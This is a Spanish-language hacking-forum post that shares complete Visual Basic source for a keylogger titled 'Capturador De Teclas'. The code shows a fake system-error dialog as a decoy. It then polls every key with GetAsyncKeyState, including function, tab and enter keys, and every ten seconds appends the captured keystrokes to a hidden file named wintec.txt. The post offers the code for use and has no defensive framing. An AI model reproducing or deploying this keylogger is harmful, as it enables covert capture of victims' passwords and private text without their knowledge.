comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Capturador De Teclas

  • 0 Respuestas
  • 1496 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5375
  • Actividad:
    73.33%
  • Reputación 31
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« en: Julio 26, 2010, 12:52:54 pm »
Código: Visual Basic
  1. 'CREAN UN MODULO CON EL SIGUIENTE CODIGO:
  2. Global w As Integer
  3. Global bb As Boolean
  4.  
  5. 'LUEGO CREAN UN PROYECTO CON EL SIGUIENTE CODIGO
  6. Dim m As String
  7. Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
  8.  
  9. Private Sub Form_Load()
  10. bb = False
  11. Dim v As Integer
  12. v = vbRetry
  13. Do While v = vbRetry
  14. v = MsgBox("Error 1845, ocurrio un error en el sistema al cargar los controladores de windows", vbCritical + vbAbortRetryIgnore, "ERROR")
  15. Loop
  16. Timer1.Interval = 1
  17. Timer2.Interval = 10000
  18. m = Minute(Time) + 5
  19. End Sub
  20.  
  21. Private Sub Text3_Change()
  22. w = w + 1
  23. End Sub
  24.  
  25. Private Sub Timer1_Timer()
  26. On Error Resume Next
  27. Dim x As Integer, i As Integer
  28. For i = 33 To 124
  29. x = GetAsyncKeyState(i)
  30. If x = -32767 Then
  31. Text1.Text = Text1.Text + Chr(i)
  32.  
  33. End If
  34. Next
  35. Text3.Text = Text1.Text
  36. x = GetAsyncKeyState(112)
  37. If x = -32767 Then
  38. Text1.Text = Text1.Text & "{F1}"
  39. End If
  40. x = GetAsyncKeyState(113)
  41. If x = -32767 Then
  42. Text1.Text = Text1.Text & "{F2}"
  43. End If
  44. x = GetAsyncKeyState(114)
  45. If x = -32767 Then
  46. Text1.Text = Text1.Text & "{F3}"
  47. End If
  48. x = GetAsyncKeyState(115)
  49. If x = -32767 Then
  50. Text1.Text = Text1.Text & "{F4}"
  51. End If
  52. x = GetAsyncKeyState(116)
  53. If x = -32767 Then
  54. Text1.Text = Text1.Text & "{F5}"
  55. End If
  56. x = GetAsyncKeyState(117)
  57. If x = -32767 Then
  58. Text1.Text = Text1.Text & "{F6}"
  59. End If
  60. x = GetAsyncKeyState(118)
  61. If x = -32767 Then
  62. Text1.Text = Text1.Text & "{F7}"
  63. End If
  64. x = GetAsyncKeyState(119)
  65. If x = -32767 Then
  66. Text1.Text = Text1.Text & "{F8}"
  67. End If
  68. x = GetAsyncKeyState(120)
  69. If x = -32767 Then
  70. Text1.Text = Text1.Text & "{F9}"
  71. End If
  72. x = GetAsyncKeyState(121)
  73. If x = -32767 Then
  74. Text1.Text = Text1.Text & "{F10}"
  75. End If
  76. x = GetAsyncKeyState(122)
  77. If x = -32767 Then
  78. Text1.Text = Text1.Text & "{F11}"
  79. End If
  80. x = GetAsyncKeyState(123)
  81. If x = -32767 Then
  82. Text1.Text = Text1.Text & "{F12}"
  83. End If
  84.  
  85. x = GetAsyncKeyState(8)
  86. If x = -32767 Then
  87. Text1.Text = Mid(Text1.Text, 1, Len(Text1) - 1)
  88. End If
  89.  
  90. x = GetAsyncKeyState(9)
  91. If x = -32767 Then
  92. Text1.Text = Text1.Text & "{tab}"
  93. End If
  94.  
  95. x = GetAsyncKeyState(13)
  96. If x = -32767 Then
  97. Text1.Text = Text1.Text & "{enter}"
  98. Text1 = Text1 & vbCrLf
  99. End If
  100.  
  101. x = GetAsyncKeyState(27)
  102. If x = -32767 Then
  103. Text1.Text = Text1.Text & "{esc}"
  104. Text1 = Text1 & vbCrLf
  105. End If
  106.  
  107. x = GetAsyncKeyState(32)
  108. If x = -32767 Then
  109. Text1.Text = Text1.Text & " "
  110. End If
  111.  
  112. Dim cad As String
  113. Dim num As String
  114. Dim c As String
  115. cad = Text1.Text
  116. num = Right(cad, 1)
  117. Text2.Text = num
  118. c = num
  119. If num = "a" Then
  120. c = "1"
  121. bb = True
  122. End If
  123. If num = "b" Then
  124. c = "2"
  125. bb = True
  126. End If
  127. If num = "c" Then
  128. c = "3"
  129. bb = True
  130. End If
  131. If num = "d" Then
  132. c = "4"
  133. bb = True
  134. End If
  135. If num = "e" Then
  136. c = "5"
  137. bb = True
  138. End If
  139. If num = "f" Then
  140. c = "6"
  141. bb = True
  142. End If
  143. If num = "g" Then
  144. c = "7"
  145. bb = True
  146. End If
  147. If num = "h" Then
  148. c = "8"
  149. bb = True
  150. End If
  151. If num = "i" Then
  152. c = "9"
  153. bb = True
  154. End If
  155. If num = "`" Then
  156. c = "0"
  157. bb = True
  158. End If
  159.  
  160. Text2.Text = c
  161.  
  162. If bb = True Then
  163. Dim g As Integer
  164. g = Len(Text1.Text) - 1
  165. Text1.Text = Left(Text1.Text, g) + c
  166.  
  167. bb = False
  168.  
  169. End If
  170.  
  171. End Sub
  172.  
  173. Private Sub Timer2_Timer()
  174. Open "\wintec.txt" For Append As #1
  175. Print #1, Text1.Text
  176. Text1.Text = ""
  177. Close #1
  178. If (Minute(Time) >= m) Then
  179. Open "\wintec.txt" For Append As #1
  180. Print #1, "----------- ----------- ------------"
  181. Close #1
  182. End
  183. End If
  184.  
  185. End Sub
« Última modificación: Mayo 12, 2014, 03:16:49 pm por Expermicid »


 

¿Te gustó el post? COMPARTILO!



Como crear un capturador de pantalla

Iniciado por ANTRAX

Respuestas: 0
Vistas: 1474
Último mensaje Julio 26, 2010, 03:57:28 pm
por ANTRAX
Detectar cuando se presiona una tecla o combinación de teclas

Iniciado por ANTRAX

Respuestas: 0
Vistas: 1332
Último mensaje Julio 26, 2010, 12:12:16 pm
por ANTRAX